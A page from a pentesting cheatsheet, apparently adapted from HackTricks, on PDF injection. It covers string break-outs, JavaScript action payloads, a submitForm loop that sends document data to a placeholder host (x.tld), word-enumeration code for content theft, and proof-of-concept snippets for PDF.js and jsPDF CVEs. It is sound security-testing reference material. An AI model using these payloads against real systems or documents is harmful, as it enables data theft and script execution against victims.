daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

pdf-injection.md (11893B)


      1 ---
      2 title: "PDF Injection"
      3 section: "Web Pentesting"
      4 sectionSlug: "pentesting-web"
      5 sourcePath: "src/pentesting-web/xss-cross-site-scripting/pdf-injection.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/xss-cross-site-scripting/pdf-injection.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # PDF Injection
     14 
     15 **If your input is being reflected inside a PDF file, you can try to inject PDF data to execute JavaScript, perform SSRF or steal the PDF content.**  
     16 PDF syntax is extremely permissive: if you can break out of the string or dictionary that is embedding your input, you can often append new keys, actions, or even whole objects that Acrobat and browser viewers will still parse.
     17 
     18 If you are targeting **HTML-to-PDF generators** or server-side PDF creation bugs, check the more specific pages about [HTML-to-PDF file reads](/hacktricks/pentesting-web/file-inclusion/overview#html-to-pdf-svgimg-path-traversal) and [ReportLab/xhtml2pdf RCE](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md). This page is focused on **PDF object / action injection in the generated document itself**.
     19 
     20 ## TL;DR – Modern Attack Workflow (2024-2026)
     21 1. Find any user-controlled value that lands inside a **PDF string** like `( ... )`, a `/URI ( ... )`, a `/JS ( ... )`, or a field / annotation dictionary.
     22 2. Inject `)` (or another structure-breaking sequence) to close the original value, append your own **action dictionary** or **new object**, and reopen the original syntax if needed.
     23 3. Deliver the malicious PDF to a victim, an internal reviewer, or a backend workflow that opens / previews PDFs.
     24 4. Pivot depending on the viewer:
     25    - **Acrobat / Reader** → richest JavaScript API surface (`submitForm`, `getPageNthWord`, form actions, etc.)
     26    - **Chrome / Edge PDFium** → more limited, but still interesting for annotation / widget tricks and blind callbacks
     27    - **Firefox / PDF.js** → classic `/JS (app.alert(1))` support is not equivalent to arbitrary JS; for real code exec think about **viewer bugs** such as **CVE-2024-4367**
     28 
     29 Example (annotation link hijack):
     30 ```text
     31 (https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next (
     32 ```
     33 The first `)` closes the original URI string, then a new **Action** dictionary is injected.
     34 
     35 ## Know Your Viewer First
     36 A useful nuance when testing browser-based viewers:
     37 
     38 - Seeing `app.alert(1)` only proves that the viewer executes some **embedded PDF JavaScript / actions**.
     39 - It **doesn't automatically mean arbitrary DOM JavaScript execution** in the surrounding web origin.
     40 - In **PDF.js**, the dangerous 2024 bug was not regular `/JS`, but **FontMatrix-controlled code generation** inside the glyph renderer.
     41 - In **commercial browser SDKs**, the interesting bugs are often in their **Acrobat-JS emulation layer**, `eval`-based sandboxes, or unsafe bridging into the hosting page / Electron container.
     42 
     43 So during triage, distinguish between:
     44 
     45 1. **PDF feature support** (`app.alert`, `submitForm`, `/OpenAction`, `/AA`)
     46 2. **PDF object injection** (breaking out of a reflected string / dictionary)
     47 3. **Viewer vulnerability** (e.g. PDF.js `FontMatrix` injection)
     48 4. **Origin escalation** (turning PDF JS into a real XSS / Electron RCE primitive)
     49 
     50 ## Useful Injection Primitives
     51 | Goal | Payload Snippet | Notes |
     52 |------|-----------------|-------|
     53 | **JavaScript on open** | `/OpenAction << /S /JavaScript /JS (app.alert(1)) >>` | Good for Acrobat / Reader testing. |
     54 | **JavaScript on click** | `/A << /S /JavaScript /JS (app.alert(1)) >>` | Useful when you control an annotation or link action. |
     55 | **Additional actions** | `/AA << /O << /S /JavaScript /JS (app.alert(1)) >> >>` | `/O` = open/focus-style action, `/E` = mouse-enter, etc. |
     56 | **Blind callback** | `/A << /S /URI /URI (https://attacker.tld/) >>` | Basic out-of-band reachability check. |
     57 | **Blind SSRF / POST** | Inject a widget/text field and call `this.submitForm(...)` | Stronger than a simple `/URI` because you can send field values. |
     58 | **Content theft** | `for (...) this.getPageNthWord(...)` | Especially useful in Acrobat and in PortSwigger's PDFium research chain. |
     59 | **New object injection** | `\nendobj\n10 0 obj\n<< ... >>\nendobj` | Works if the generator lets you inject raw line breaks. |
     60 
     61 ## Embedded Actions as Injection Targets
     62 PDF viewers treat **embedded actions** such as `/OpenAction` and `/AA` (Additional Actions) as first-class features. If you can inject into a dictionary that accepts actions (Catalog, Page, Annotation, Widget, or Form field), you can often graft an action tree and trigger code on open, click, hover, or focus.
     63 
     64 Example payload for **dictionary break-out**:
     65 ```text
     66 ) >> /AA << /O << /S /JavaScript /JS (app.alert('AA fired')) >> >> (
     67 ```
     68 
     69 This is especially relevant when a PDF library stores attacker-controlled data in `/URI`, `/JS`, annotation author fields, form values, or helper methods such as `addJS(...)`.
     70 
     71 ## High-Value Injection Targets
     72 When you reverse the generated PDF, prioritise these locations:
     73 
     74 - **Link annotations**: `/Subtype /Link`, `/A`, `/URI`
     75 - **Widget annotations / AcroForm**: `/Subtype /Widget`, `/AA`, `/FT /Btn`, `/FT /Tx`
     76 - **Catalog-level actions**: `/OpenAction`, `/Names`, `/JavaScript`
     77 - **Text / metadata fields** that later become annotation names or popup contents
     78 - **Library helper APIs** that emit raw PDF strings, for example `createAnnotation(...)`, `addJS(...)`, or direct dictionary setters
     79 
     80 A lot of modern wins still start from the same primitive: **one unescaped `(`, `)`, or `\` inside a PDF string**.
     81 
     82 ## Recon & Triage Workflow
     83 If you can download the generated PDF, don't guess: inspect it.
     84 
     85 ```bash
     86 # Make the structure easier to read
     87 qpdf --qdf --object-streams=disable victim.pdf readable.pdf
     88 
     89 # Quick keyword hunt
     90 pdfid.py readable.pdf
     91 pdf-parser.py -search "/JS" -search "/AA" -search "/OpenAction" readable.pdf
     92 
     93 # Fast grep when you only need the reflected sink
     94 rg -n '/URI|/JS|/AA|/OpenAction|/Subtype /Link|/Subtype /Widget' readable.pdf
     95 ```
     96 
     97 For a broader PDF reversing workflow, check:
     98 
     99 [Pdf File Analysis](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md)
    100 
    101 ## Practical Exploitation Patterns
    102 ### 1. Link / URI break-out
    103 Classic case: your input lands in `/URI (...)`.
    104 
    105 ```text
    106 ) /A << /S /JavaScript /JS (app.alert(1)) >> (
    107 ```
    108 
    109 If the application only validates the visible URL but not the raw PDF string escaping, you can replace a harmless link with a JavaScript action or a new `/URI` pointing to your server.
    110 
    111 ### 2. Widget / AcroForm upgrade
    112 PortSwigger's research showed that turning an annotation into a **Widget** with a fake parent field is often the key to making JavaScript execute in browser viewers that otherwise seem too restricted.<sup>[[1]](#references)</sup>
    113 
    114 ```text
    115 #)>> << /Type /Annot /Rect [0 0 900 900] /Subtype /Widget
    116 /Parent << /FT /Btn /T(a) >>
    117 /A << /S /JavaScript /JS (app.alert(1)) >>
    118 ```
    119 
    120 This pattern is much more useful than a naive `/JS (app.alert(1))` pasted into random places.
    121 
    122 ### 3. Mouse-enter / hover execution
    123 If click interaction is a problem, try an **Additional Action** on mouse enter:
    124 
    125 ```text
    126 /AA << /E << /S /JavaScript /JS (app.alert(1)) >> >>
    127 ```
    128 
    129 This is mainly useful for proving code execution or building staged chains. In PDFium, hover-triggered JS is easier than full exfil because outbound submission still depends on what APIs the viewer exposes.
    130 
    131 ### 4. Blind document exfiltration
    132 If you already have JavaScript execution inside the PDF runtime, enumerate words and leak them out:
    133 
    134 ```javascript
    135 words = [];
    136 for (page = 0; page < this.numPages; page++) {
    137   for (wordPos = 0; wordPos < this.getPageNumWords(page); wordPos++) {
    138     words.push(this.getPageNthWord(page, wordPos, true));
    139   }
    140 }
    141 ```
    142 
    143 On Acrobat this becomes powerful when combined with `submitForm(...)`. On Chrome/PDFium, PortSwigger showed that `getPageNthWord(...)` can still be abused after the right annotation/widget trick.<sup>[[1]](#references)</sup>
    144 
    145 ## Blind Enumeration Trick
    146 When you don't know which objects / methods are available in the current viewer, enumerate the document object and look for useful sinks:
    147 
    148 ```text
    149 ) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> (
    150 ```
    151 
    152 This is noisy, but great in blind scenarios where you only get out-of-band callbacks.
    153 
    154 ## Real-World Bugs Worth Remembering
    155 ### CVE-2024-4367 – PDF.js `FontMatrix` injection
    156 This one is important because it is **not** classic PDF `/JS` support. Vulnerable PDF.js versions generated JavaScript code with `new Function(...)` while assuming `FontMatrix` only contained numbers. A crafted **Type1** font object could inject a string into `c.transform(...)` and achieve arbitrary JavaScript execution in the PDF.js context.<sup>[[2]](#references)</sup>
    157 
    158 Minimal idea:
    159 ```text
    160 /FontMatrix [1 2 3 4 5 (0\); alert\('pwned')]
    161 ```
    162 
    163 Notes:
    164 - Relevant for **Firefox < 126**, **Firefox ESR < 115.11**, and **pdfjs-dist <= 4.1.392**.
    165 - If PDF.js is embedded in a web app, this becomes a **stored XSS on that origin**.
    166 - Setting `isEvalSupported = false` blocks the vulnerable path on unpatched deployments.
    167 
    168 ### CVE-2026-25755 – jsPDF `addJS()` PDF object injection
    169 A newer example showing that helper APIs are still dangerous: vulnerable `jsPDF.addJS()` versions wrapped attacker-controlled JavaScript directly inside `/JS ( ... )` without escaping parentheses correctly.<sup>[[3]](#references)</sup>
    170 
    171 ```javascript
    172 const doc = new jsPDF();
    173 doc.addJS("console.log('x');) >> /AA << /O << /S /JavaScript /JS (app.alert('Hacked')) >> >>");
    174 ```
    175 
    176 This is a great reminder to review **library convenience methods**, not just annotations and links.
    177 
    178 ## Testing Corpus / Tooling
    179 If you want ready-made payloads instead of hand-editing PDFs every time, keep a small corpus around:
    180 
    181 - **PortSwigger's `portable-data-exfiltration` samples**: excellent for Acrobat / PDFium annotation, widget, exfiltration, and SSRF chains.<sup>[[1]](#references)</sup>
    182 - **`PayloadsAllThePDFs`**: practical payload zoo for testing browser viewers, commercial SDKs, and PDF.js-specific cases like `FontMatrix`.
    183 - **`malicious-pdf`**: generates multiple PDF test cases for callbacks, content theft, hover actions, and viewer-specific behaviors.
    184 
    185 This is especially handy when you are dealing with a black-box upload / preview workflow and need to quickly answer:
    186 - Does the platform execute embedded JS at all?
    187 - Is it just `app.alert(1)` support, or real origin-level JS?
    188 - Are `/URI`, `/AA`, widget upgrades, or `FontMatrix` payloads reachable?
    189 
    190 ## Brief Defensive Notes
    191 From the attacker side, the fixes to look for are predictable:
    192 
    193 1. Escaping `\`, `(` and `)` before placing user input inside PDF strings.
    194 2. Using **hex strings** (`<...>`) instead of raw `( ... )` strings for untrusted data.
    195 3. Stripping `/OpenAction`, `/AA`, `/Launch`, `/SubmitForm`, and document-level `/JavaScript` names when sanitizing PDFs.
    196 4. Updating vulnerable viewers/libraries such as **PDF.js** and **jsPDF**.
    197 
    198 ## References
    199 
    200 - [1] [Gareth Heyes, "Portable Data exFiltration: XSS for PDFs"](https://portswigger.net/research/portable-data-exfiltration)
    201 - [2] [Thomas Rinsma, "CVE-2024-4367 – Arbitrary JavaScript execution in PDF.js"](https://codeanlabs.com/blog/research/cve-2024-4367-arbitrary-js-execution-in-pdf-js/)
    202 - [3] [NVD, "CVE-2026-25755 Detail"](https://nvd.nist.gov/vuln/detail/CVE-2026-25755)